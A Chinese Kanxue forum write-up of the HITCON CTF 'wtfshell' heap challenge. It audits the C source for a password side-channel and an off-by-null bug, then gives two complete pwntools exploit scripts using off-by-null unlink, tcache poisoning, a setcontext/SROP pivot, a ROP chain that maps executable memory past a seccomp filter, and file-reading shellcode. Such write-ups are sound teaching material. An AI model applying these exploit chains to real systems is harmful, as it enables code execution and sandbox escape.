本文为看雪论坛精华文章
看雪论坛作者ID:Loτυs
一
前言
二
代码审计
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
π rtfm. Read This Friendly Manual π
π qq. Quit Quietly π
π lol,[-l]. List Of fiLes π
π rip.[FILE] Redirect InPut π
π nsfw,FILE,PERM. New Single File for Writing π
π wtf,DATA,FILE. Write data To File π
π omfg,FILE. Output My File Gracefully π
π gtfo,FILE. GeT the File Out π
π ouo. Output current User Out π
π stfu,USER. SeT new Friendly User π
π asap,[USER]. ASsign A new Password π
π sus,USER. Switch USer π
π shit. SHell InformaTion π
π irl. Instantly Reset shelL π
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
lol:展示所有files文件,加上-l命令可以查看①文件所属用户,②文件size,③文件名。
rip:向指定文件末尾添加内容,采用realloc+strcat实现,其中realloc_size为data_size+1,防止strcat末尾\x00造成off by null。
nsfw:创建文件,并定制其权限(rw)。
wtf:重新覆写文件内容,最大size为0x400。
omfg:打印文件内容(若文件具有可读属性)。
gtfo:删除指定文件。
ouo:打印当前用户名。
stfu:添加新用户,可定义其name。
asap:更改指定用户密码。其中调用的函数chk_pw存在侧信道泄露漏洞。
sus:登录后可更换用户。
irl:reset所有内容:①清除所有用户结构体,②清空所有file结构体,③free并重新申请gbuff。
qq:退出程序前free掉gbuff,close了所有文件描述符,并且采用_exit退出。
int chk_pw(const char *pw) {
char input;
int pw_len = strlen(pw);
for (int i = 0; i < pw_len + 1; i++) {
int res = read(STDIN_FILENO, &input, 1);
if (res < 0) {
terminate();
}
if (i == pw_len) { // The last character must be a line break
return input == '\n';
}
if (input == '\n') { // Ignore accidental line breaks
i--;
continue;
}
/* If password mismatch, quit immediately */
if (input != pw[i]) {
/* Read characters until '\n' */
while (1) {
int res = read(STDIN_FILENO, &input, 1);
if (res < 0) {
terminate();
}
if (input == '\n') {
return 0;
}
}
}
}
}
if (!chk_pw(gusers[i]->ushadow)) {
/* Clear data when error occurs */
bzero(gusers[i]->ushadow, PWMAX);
write_str("asap: pw1 ≠ pw2\n");
return;
}
struct user {
char ushadow[PWMAX];
char *uname;
int uid;
};
int read_pw(char *dest) {
int read_num = 0;
while (read_num < PWMAX) {
int res = read(STDIN_FILENO, &dest[read_num], 1);
if (res < 0) {
terminate();
}
if (dest[read_num] == '\n') {
dest[read_num] = '\0';
return read_num;
}
read_num++;
}
return read_num;
}
int pw_len = strlen(pw);
read_max(gbuff, GBSIZE);
char *token = strtok(gbuff, delim);
const char delim[] = ".,?!";
三
wtfshell1
def burp(name,pwd):
addr = "\x80"
for i in range(0x6):
log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))
for j in range(0xb,0xff):
payload = b'asap,'+name
menu(payload)
r.recvuntil(b"password:")
r.send(pwd)
r.recvuntil(b"retype password:")
r.send(pwd+addr+chr(j)+"\n")
data=r.recvuntil("\n",timeout=0.1)
if b"asap: " not in data:
addr+=chr(j)
r.send(b'\x00\n')
break
else:
continue
return u64(addr.ljust(0x8,'\0'))
void xfree(void *ptr) {
if (!ptr) {
return;
}
size_t size = malloc_usable_size(ptr);
bzero(ptr, size);
free(ptr);
}
1、先利用rip申请一个0x400大小的堆块,然后利用xrealloc不断扩充,直到size为0x1000。然后realloc(0x1100) free掉该unsortedbin(必须用xrealloc去free,用xfree会清空堆块内容)。
2、申请一个小堆块隔开unsortedbin与top_chunk。
3、申请一个0x400大小的堆块到unsortedbin中。
4、提前填满0x400大小的tcache_list。
5、调用cmd_irl来free掉gbuff,由于tcache_list已经被填满,因此free掉的gbuff不会进入tcache_list,会变成unsortedbin,然后下一次申请,会申请tcache_list中第一个空闲堆块,也就是我们之前填满非零字节的一个堆块。这样就能获得一个填满0x408字节的gbuff。
void cmd_rip() {
char *fname = strtok(NULL, delim);##this!
char *rbuff = xmalloc(SBSIZE);
/* Redirect input to stdout */
if (!fname) {
read_max(rbuff, SBSIZE);
write_str(rbuff);
write_str("\n");
xfree(rbuff);
return;
}
/* Redirect input to a file */
remove_slash(fname);#that!
if (strlen(fname) == 0) {
write_str("rip: flag = ∅\n");
xfree(rbuff);
return;
}
/* Special case: flag1 cannot be altered */
if (!strcmp(fname, "flag1")) {
write_str("rip: ¬ perm\n");
xfree(rbuff);
return;
}
for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
/* The file's owner must be root or the current user, and the file must be writable */
if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
write_str("rip: ¬ perm\n");
xfree(rbuff);
return;
}
read_max(rbuff, SBSIZE);
if (gfiles[i]->fdata) {
/* File is not empty -> rewrite the file content */
if (strlen(rbuff) > 0) {
gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(gfiles[i]->fdata) + strlen(rbuff) + 1); // Remember the extra null byte
}
strcat(gfiles[i]->fdata, rbuff);
} else {
/* File is empty -> write the content directly */
gfiles[i]->fdata = strdup(rbuff);
}
xfree(rbuff);
return;
}
}
write_str("rip: \"");
write_str(fname);
write_str("\" ∉ ℱ\n");
xfree(rbuff);
}
void remove_slash(char *fname) {
int fname_len = strlen(fname);
for (int i = 0; i < fname_len; i++) {
if (fname[i] == '/') {
fname[i] = '\0';
}
}
}
char *token = strtok(gbuff, delim);
char *fname = strtok(NULL, delim);##this!
remove_slash(fname);#that!
b'rip.'+b'a'*(0x400-4)
p16(prev_size)+b'\'*6
b'a'*(0x400-4)+p16(prev_size)+b'\'*6
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
/* The file's owner must be root or the current user, and the file must be writable */
if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
write_str("rip: ¬ perm\n");
xfree(rbuff);
return;
}
read_max(rbuff, SBSIZE);
if (gfiles[i]->fdata) {
/* File is not empty -> rewrite the file content */
if (strlen(rbuff) > 0) {
gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(gfiles[i]->fdata) + strlen(rbuff) + 1); // Remember the extra null byte
}
strcat(gfiles[i]->fdata, rbuff);
} else {
/* File is empty -> write the content directly */
gfiles[i]->fdata = strdup(rbuff);
}
xfree(rbuff);
return;
}
}
off-by-null-chunk:
0 0x500(0x521)
........
........
padding,fake_next_size
padding,padding。
void cmd_wtf() {
char *fdata = strtok(NULL, delim);
if (!fdata) {
write_str("wtf: data ∈ ∅\n");
return;
}
char *fname = strtok(NULL, delim);
if (!fname) {
write_str("wtf: file ∈ ∅\n");
return;
}
remove_slash(fname);
if (strlen(fname) == 0) {
write_str("wtf: file = ∅\n");
return;
}
/* Special case: flag1 cannot be altered */
if (!strcmp(fname, "flag1")) {
write_str("wtf: ¬ perm\n");
return;
}
for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
/* The file's owner must be root or the current user, and the file must be writable */
if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
write_str("wtf: ¬ perm\n");
return;
}
if (gfiles[i]->fdata) {
/* File is not empty -> rewrite the file content */
if (strlen(fdata) > strlen(gfiles[i]->fdata)) {
gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(fdata) + 1); // Remember the extra null byte
}
strcpy(gfiles[i]->fdata, fdata);
} else {
/* File is empty -> write the content directly */
gfiles[i]->fdata = strdup(fdata);
}
return;
}
}
write_str("wtf: \"");
write_str(fname);
write_str("\" ∉ ℱ\n");
}
if (gfiles[i]->fdata) {
/* File is not empty -> rewrite the file content */
if (strlen(fdata) > strlen(gfiles[i]->fdata)) {
gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(fdata) + 1); // Remember the extra null byte
}
strcpy(gfiles[i]->fdata, fdata);
} else {
/* File is empty -> write the content directly */
gfiles[i]->fdata = strdup(fdata);
}
return;
}
def write_addr(filename,payload,size):
whole_size = len(payload)+1
no_null_payload = payload.replace(b'\x00',b'a')
for i in range(size):
# log.success(hex(i))
if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':
# pause()
recover_data(filename,no_null_payload[0:whole_size-i-2])
# debug("free")
else:
continue
分配了一个被填满的gbuff,能够off by null。
可以利用remove_slash和strtok配合,构造好off-by-null-chunk的prev_size。(前提是该chunk size得小于0x400,因此我们需要提前填满对应size的tcache_list)
可以用我的write_addr函数伪造off-by-null-chunk的fake_size。
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
0 fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P->addr
fd->bk = bk;
bk->fd = fd;
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
0 fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P->addr P->addr
void cmd_omfg() {
char *fname = strtok(NULL, delim);
if (!fname) {
write_str("omfg: file ∈ ∅\n");
return;
}
remove_slash(fname);
if (strlen(fname) == 0) {
write_str("omfg: file = ∅\n");
return;
}
for (int i = 0; i < FILEMAX; i++) {
if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
/* The file's owner must be root or the current user, and the file must be readable */
if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & RDPERM)) {
write_str("omfg: ¬ perm\n");
return;
}
if (!gfiles[i]->fdata) { // empty file
return;
}
write_str(gfiles[i]->fdata);
write_str("\n");
return;
}
}
write_str("omfg: \"");
write_str(fname);
write_str("\" ∉ ℱ \n");
}
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
def qwq(name):
log.success(hex(name))
def debug(point):
if point == 0:
gdb.attach(r)
else:
gdb.attach(r,"b "+point)
r = process('/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell')
def menu(payload):
r.recvuntil("√")
r.sendline(payload)
def add_data(name,content):
payload = b'rip.'+name
menu(payload)
sleep(0.1)
r.send(content)
def new_file(name,flag):
payload = b'nsfw,'+name+b','+flag
menu(payload)
def show_file(name):
payload = b'omfg,'+name
menu(payload)
def recover_data(name,content):
payload = b'wtf,'+content+b','+name
menu(payload)
def delete_file(name):
payload = b'gtfo,'+name
menu(payload)
def add_user(name):
payload = b'stfu,'+name
menu(payload)
def edit_pwd(name,pwd):
payload = b'asap,'+name
menu(payload)
r.recvuntil(b"password:")
r.send(pwd)
r.recvuntil(b"retype password:")
r.send(pwd)
def delete_all():
payload = b'irl.'
menu(payload)
def burp(name,pwd):
addr = "\x80"
for i in range(0x6):
log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))
for j in range(0xb,0xff):
payload = b'asap,'+name
menu(payload)
r.recvuntil(b"password:")
r.send(pwd)
r.recvuntil(b"retype password:")
r.send(pwd+addr+chr(j)+"\n")
data=r.recvuntil("\n",timeout=0.1)
if b"asap: " not in data:
addr+=chr(j)
r.send(b'\x00\n')
break
else:
continue
return u64(addr.ljust(0x8,'\0'))
def write_addr(filename,payload,size):
whole_size = len(payload)+1
no_null_payload = payload.replace(b'\x00',b'a')
for i in range(size):
# log.success(hex(i))
if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':
# pause()
recover_data(filename,no_null_payload[0:whole_size-i-2])
# debug("free")
else:
continue
add_user(b'what')
add_user(b'lotus')
heap_base=burp(b'lotus',"a"*0x40)-0x880
key = heap_base>>12
# for i in range(0x7):
# new_file(b'chunk1',b'3')
# add_data(b'chunk1')
new_file(b'big',b'3')
new_file(b'gbuff',b'3')
new_file(b'off-by-null-chunk',b'3')
for i in range(0x7):
new_file(b"chunk"+str(i).encode(),b'3')
new_file(b"chunk1"+str(i).encode(),b'3')
new_file(b'chunk21',b'3')
new_file(b'chunk22',b'3')
for i in range(0x7):
for j in range(0x4):
add_data(b"chunk"+str(i).encode(),b'a'*0x100)
for i in range(0x2):
for j in range(0x2):
add_data(b"chunk1"+str(i).encode(),b'a'*0x100)
add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')
for i in range(0x3):
recover_data(b"chunk2"+str(i).encode(),b'a'*0x20)
for i in range(3,7):
for j in range(0x2):
add_data(b"chunk1"+str(i).encode(),b'a'*0x100)
add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')
[add_data(b'big',p16(0x1650)+b'/'*(0x100-2)) for i in range(0x10)]
add_data(b'big',b'a'*0x10+b'\n')
new_file(b'b'*0x100,b'3')#use to get the free 0x110 tcache and add a chunk between the unsortedbin and the top chunk
add_data(b'big',b'a'*0x100)# free the unsortedbin
#add 0x408 back
[add_data(b'gbuff',b'a'*0x100) for i in range(0x3)]
add_data(b'gbuff',b'a'*0xf8+b'\n')
#add 0x521 chunk to off-by-null
[add_data(b'off-by-null-chunk',b'a'*0x100) for i in range(0x5)]
add_data(b'off-by-null-chunk',b'a'*0x10+b'\n')
[delete_file(b"chunk"+str(i).encode()) for i in range(0x6)]
add_data(b'gbuff',b'a'*0x100)
delete_all()
new_file(b'useless_chunk',b'3')
[add_data(b'useless_chunk',b'a'*0x100) for i in range(0x3)]
add_data(b'useless_chunk',b'a'*0x10+b'\n')
# add a 0x321 chunk and edit its fake_next_size
new_file(b'off-by-null-chunk',b'3')
[add_data(b'off-by-null-chunk',b'\x31'*0x100) for i in range(0x3)]
add_data(b'off-by-null-chunk',b'\x31'*0x10+b'\n')
[recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-i)) for i in range(0x6)]
recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-6)+b'\x09')
menu(b'rip.'+b'a'*(0x400-4))#make off by null and clear the prev_size
for i in range(0x9):
new_file(b"chunk1"+str(i).encode(),b'3')
for i in range(0x9):
recover_data(b"chunk1"+str(i).encode(),b'i'*0x2f0)
fake_point = heap_base+0x2af0
fake_point_addr = fake_point+0x30
fake_unlink_chunk = b'i'*0x10+p64(0)+p64(0x1651)+p64(fake_point_addr-0x18)+p64(fake_point_addr-0x10)+p64(fake_point_addr-0x20)+p64(fake_point_addr-0x18)+p64(fake_point)*2
write_addr(b'chunk15',fake_unlink_chunk,len(fake_unlink_chunk)-0x10)
[delete_file(b"chunk1"+str(i).encode()) for i in range(0x4)]
delete_file(b'chunk17')
delete_file(b'chunk18')
delete_file(b'chunk16')
#off by null unlink
delete_file(b'off-by-null-chunk')
#clear the tcache list 0x20
for i in range(0xa):
new_file(b'useless'+str(i).encode(),b'3')
recover_data(b'useless'+str(i).encode(),b'a'*8)
new_file(b'a'*0x2e0,b'3')
new_file(b'b'*0x2d0,b'3')
#leak_libc_base
show_file(b'chunk14')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-0x1f6cc0
new_file(b'a'*0x220,b'3')
new_file(b'edit_tcache_next',b'3')
recover_data(b'edit_tcache_next',b'a'*0x220)
write_addr(b'edit_tcache_next',b'a'*192+p64((heap_base+0x330)^(key+3)),0x8)
new_file(b'a'*0x20,b'3')
new_file(b'go_attack',b'3')
recover_data(b'go_attack',b'a'*0x20)
write_addr(b'go_attack',p32(1)+p32(0x3)+p64(0xdeadbeef)+b'lotuslotus',0x1a)
show_file(b'a'*0x10)
# debug("malloc_printerr")
qwq(heap_base)
qwq(libc_base)
r.interactive()
四
wtfshell2
[email protected]:~/seccomp-tools$ seccomp-tools dump /mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0006
0002: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0003: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x20 0x00 0x00 0x00000000 A = sys_number
0007: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x20 0x00 0x00 0x00000000 A = sys_number
0010: 0x15 0x00 0x06 0x00000009 if (A != mmap) goto 0017
0011: 0x20 0x00 0x00 0x00000020 A = prot # mmap(addr, len, prot, flags, fd, pgoff)
0012: 0x15 0x03 0x00 0x00000007 if (A == 0x7) goto 0016
0013: 0x20 0x00 0x00 0x00000030 A = fd # mmap(addr, len, prot, flags, fd, pgoff)
0014: 0x15 0x00 0x01 0xffffffff if (A != 0xffffffff) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
0017: 0x20 0x00 0x00 0x00000000 A = sys_number
0018: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x20 0x00 0x00 0x00000000 A = sys_number
0021: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0023
0022: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0023: 0x20 0x00 0x00 0x00000000 A = sys_number
0024: 0x15 0x00 0x01 0x00000027 if (A != getpid) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x20 0x00 0x00 0x00000000 A = sys_number
0027: 0x15 0x00 0x01 0x00000066 if (A != getuid) goto 0029
0028: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0029: 0x20 0x00 0x00 0x00000000 A = sys_number
0030: 0x15 0x00 0x01 0x00000068 if (A != getgid) goto 0032
0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0032: 0x20 0x00 0x00 0x00000000 A = sys_number
0033: 0x15 0x00 0x04 0x00000014 if (A != writev) goto 0038
0034: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0035: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0037
0036: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0037: 0x06 0x00 0x00 0x00000000 return KILL
0038: 0x20 0x00 0x00 0x00000000 A = sys_number
0039: 0x15 0x00 0x05 0x0000003c if (A != exit) goto 0045
0040: 0x20 0x00 0x00 0x00000010 A = error_code # exit(error_code)
0041: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0043
0042: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0044
0043: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0044: 0x06 0x00 0x00 0x00000000 return KILL
0045: 0x20 0x00 0x00 0x00000000 A = sys_number
0046: 0x15 0x00 0x05 0x000000e7 if (A != exit_group) goto 0052
0047: 0x20 0x00 0x00 0x00000010 A = error_code # exit_group(error_code)
0048: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0050
0049: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0051
0050: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0051: 0x06 0x00 0x00 0x00000000 return KILL
0052: 0x20 0x00 0x00 0x00000000 A = sys_number
0053: 0x15 0x00 0x03 0x00000127 if (A != preadv) goto 0057
0054: 0x20 0x00 0x00 0x00000010 A = fd # preadv(fd, vec, vlen, pos_l, pos_h)
0055: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0057
0056: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0057: 0x06 0x00 0x00 0x00000000 return KILL
mmap一块可写可执行的内存(沙盒ban了mmap参数7,但是没有ban 6)。
read shellcode到mmap出来的内存。
shellcode进行orw。
from pwn import *
context(arch = 'amd64', os = 'linux')
def qwq(name):
log.success(hex(name))
def debug(point):
if point == 0:
gdb.attach(r)
else:
gdb.attach(r,"b "+point)
r = process('/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell')
libc = ELF('/mnt/hgfs/ubuntu/hitcon/heap/share/libc.so.6')
def menu(payload):
r.recvuntil("√")
r.sendline(payload)
def add_data(name,content):
payload = b'rip.'+name
menu(payload)
sleep(0.1)
r.send(content)
def new_file(name,flag):
payload = b'nsfw,'+name+b','+flag
menu(payload)
def show_file(name):
payload = b'omfg,'+name
menu(payload)
def recover_data(name,content):
payload = b'wtf,'+content+b','+name
menu(payload)
def delete_file(name):
payload = b'gtfo,'+name
menu(payload)
def add_user(name):
payload = b'stfu,'+name
menu(payload)
def edit_pwd(name,pwd):
payload = b'asap,'+name
menu(payload)
r.recvuntil(b"password:")
r.send(pwd)
r.recvuntil(b"retype password:")
r.send(pwd)
def delete_all():
payload = b'irl.'
menu(payload)
def burp(name,pwd):
addr = "\x80"
for i in range(0x6):
log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))
for j in range(0xb,0xff):
payload = b'asap,'+name
menu(payload)
r.recvuntil(b"password:")
r.send(pwd)
r.recvuntil(b"retype password:")
r.send(pwd+addr+chr(j)+"\n")
data=r.recvuntil("\n",timeout=0.1)
if b"asap: " not in data:
addr+=chr(j)
r.send(b'\x00\n')
break
else:
continue
return u64(addr.ljust(0x8,'\0'))
def write_addr(filename,payload,size):
whole_size = len(payload)+1
no_null_payload = payload.replace(b'\x00',b'a')
for i in range(size):
if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':
recover_data(filename,no_null_payload[0:whole_size-i-2])
else:
continue
add_user(b'what')
add_user(b'lotus')
heap_base=burp(b'lotus',"a"*0x40)-0x880
key = heap_base>>12
# for i in range(0x7):
# new_file(b'chunk1',b'3')
# add_data(b'chunk1')
new_file(b'big',b'3')
new_file(b'gbuff',b'3')
new_file(b'off-by-null-chunk',b'3')
for i in range(0x7):
new_file(b"chunk"+str(i).encode(),b'3')
new_file(b"chunk1"+str(i).encode(),b'3')
new_file(b'chunk21',b'3')
new_file(b'chunk22',b'3')
for i in range(0x7):
for j in range(0x4):
add_data(b"chunk"+str(i).encode(),b'a'*0x100)
for i in range(0x2):
for j in range(0x2):
add_data(b"chunk1"+str(i).encode(),b'a'*0x100)
add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')
for i in range(0x3):
recover_data(b"chunk2"+str(i).encode(),b'a'*0x20)
for i in range(3,7):
for j in range(0x2):
add_data(b"chunk1"+str(i).encode(),b'a'*0x100)
add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')
[add_data(b'big',p16(0x1650)+b'/'*(0x100-2)) for i in range(0x10)]
add_data(b'big',b'a'*0x10+b'\n')
new_file(b'b'*0x100,b'3')#use to get the free 0x110 tcache and add a chunk between the unsortedbin and the top chunk
add_data(b'big',b'a'*0x100)# free the unsortedbin
#add 0x408 back
[add_data(b'gbuff',b'a'*0x100) for i in range(0x3)]
add_data(b'gbuff',b'a'*0xf8+b'\n')
#add 0x521 chunk to off-by-null
[add_data(b'off-by-null-chunk',b'a'*0x100) for i in range(0x5)]
add_data(b'off-by-null-chunk',b'a'*0x10+b'\n')
[delete_file(b"chunk"+str(i).encode()) for i in range(0x6)]
add_data(b'gbuff',b'a'*0x100)
delete_all()
new_file(b'useless_chunk',b'3')
[add_data(b'useless_chunk',b'a'*0x100) for i in range(0x3)]
add_data(b'useless_chunk',b'a'*0x10+b'\n')
# add a 0x321 chunk and edit its fake_next_size
new_file(b'off-by-null-chunk',b'3')
[add_data(b'off-by-null-chunk',b'\x31'*0x100) for i in range(0x3)]
add_data(b'off-by-null-chunk',b'\x31'*0x10+b'\n')
[recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-i)) for i in range(0x6)]
recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-6)+b'\x09')
menu(b'rip.'+b'a'*(0x400-4))#make off by null and clear the prev_size
for i in range(0x9):
new_file(b"chunk1"+str(i).encode(),b'3')
for i in range(0x9):
recover_data(b"chunk1"+str(i).encode(),b'i'*0x2f0)
fake_point = heap_base+0x2af0
fake_point_addr = fake_point+0x30
fake_unlink_chunk = b'i'*0x10+p64(0)+p64(0x1651)+p64(fake_point_addr-0x18)+p64(fake_point_addr-0x10)+p64(fake_point_addr-0x20)+p64(fake_point_addr-0x18)+p64(fake_point)*2
write_addr(b'chunk15',fake_unlink_chunk,len(fake_unlink_chunk)-0x10)
[delete_file(b"chunk1"+str(i).encode()) for i in range(0x4)]
delete_file(b'chunk17')
delete_file(b'chunk18')
delete_file(b'chunk16')
#off by null unlink
delete_file(b'off-by-null-chunk')
#clear the tcache list 0x20
for i in range(0xa):
new_file(b'useless'+str(i).encode(),b'3')
recover_data(b'useless'+str(i).encode(),b'a'*8)
new_file(b'a'*0x2e0,b'3')
new_file(b'b'*0x2d0,b'3')
#leak_libc_base
show_file(b'chunk14')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-0x1f6cc0
new_file(b'a'*0x220,b'3')
new_file(b'edit_tcache_next',b'3')
recover_data(b'edit_tcache_next',b'a'*0x220)
strtok_libc_got = libc_base + 0x1f6040
write_addr(b'edit_tcache_next',b'a'*192+p64((strtok_libc_got-0x20)^(key+3)),0x8)
new_file(b'a'*0x20,b'3')
magic_gadget = libc_base + 0x8c385 # mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
new_file(b'go_attack',b'3')
recover_data(b'go_attack',b'a'*0x20+p64(magic_gadget)[0:6])
address = libc_base + libc.sym['__free_hook']
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x200
frame.rsp = address
frame.rip = libc_base + libc.sym['read']
payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(heap_base + 0x3d50)
payload += bytes(frame)
menu(payload)
pop_rax_ret = libc_base + 0x3fa43
pop_rbx_ret = libc_base + 0x2f1d1
pop_rcx_ret = libc_base + 0x99a83
pop_rdi_ret = libc_base + 0x23b65
pop_rsi_ret = libc_base + 0x251be
pop_rdx_ret = libc_base + 0x166262
pop_r8_ret = libc_base + 0x8c3de # pop r8; mov qword ptr fs:[0x300], rdi; ret;
syscall = libc_base + 0x8cc36
int_80 = libc_base + 0xce0cb
rop = p64(pop_rdi_ret) + p64(0x100000)
rop += p64(pop_rsi_ret) + p64(0x1000)
rop += p64(pop_rdx_ret) + p64(6)
rop += p64(pop_rcx_ret) + p64(0x22)
rop += p64(pop_r8_ret) + p64(0xffffffff)
rop += p64(libc_base + libc.sym['mmap'])
rop += p64(pop_rdi_ret) + p64(0)
rop += p64(pop_rsi_ret) + p64(0x100000)
rop += p64(pop_rdx_ret) + p64(0x200)
rop += p64(libc_base + libc.sym['read'])
rop += p64(0x100008)
sleep(0.1)
r.send(rop)
shellcode = asm("""
xor rdi, rdi;
push 3;
pop rax;
syscall;
push 3;
pop rbx;
push 0x100000;
pop rcx;
xor rdx, rdx;
push 0x127;
pop rax;
int 0x80;
xor rdi, rdi;
push rsp;
pop rsi;
add rsi, 0x200;
push rsi;
pop rbx;
push 0x100;
pop rdx;
xor rax, rax;
syscall;
push 1;
pop rdi;
push 0x100;
push rbx;
push rsp;
pop rsi;
push 1;
pop rdx;
push 20;
pop rax;
syscall;
""")
sleep(0.1)
r.send(b'/flag2\x00\x00' + shellcode)
qwq(heap_base)
qwq(libc_base)
r.interactive()
看雪ID:Loτυs
https://bbs.pediy.com/user-home-959503.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!